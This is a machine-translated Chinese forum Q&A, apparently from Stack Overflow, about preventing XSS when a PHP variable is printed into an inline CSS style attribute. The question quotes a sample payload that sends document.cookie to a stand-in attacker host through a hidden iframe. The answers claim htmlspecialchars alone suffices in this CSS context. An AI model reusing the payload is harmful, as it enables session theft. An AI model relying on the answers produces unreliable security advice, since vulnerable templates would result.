实施以下功能对XSS方式的正确/安全是什么:
<div style="background:<?php echo $somevar ?>;">
我找到了这个例子,
<div style="background:<?php echo htmlPhpEsc($somevar, ENT_QUOTES, 'UTF-8') ?>;">
说这也是错误的,如果$ somevar由黑客定义如下:
$somevar = "expression(document.write('<iframe src="
.= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
.= "' height=0 width=0 />'))";
如果我尝试使用HTML净化器,它会将代码缩减为<div></div>
http://htmlpurifier.org/demo.php?
例如, 如果我在view.php中实现以下内容:
ob_start();
include 'template_file_where_echo_is_used.php';
$buffer = ob_get_clean();
//pass buffer through some tool like html purifier. Do i need it in this stage?
echo $buffer;
会解决问题吗?
答案 0 :(得分:1)
简短回答:
echo htmlspecialchars($somevar, ENT_QUOTES, 'UTF-8');
答案 1 :(得分:0)
最好的方法是使用{{3}}。根据我测试自己的PHP代码的经验,它已故意停止恶意脚本文本的执行/不被视为常规文本。
因此,对于您的示例,您将执行以下操作:
<div style="background:<?php echo htmlspecialchars($somevar, ENT_QUOTES, 'UTF-8') ?>;">
HTML特殊字符(在我看来)是清理输出到客户端的最佳选择。
编辑:Unamata Sanatarai的答案也很好,事实上ENT_QUOTES,'UTF-8'
的加入是一个很好的贡献。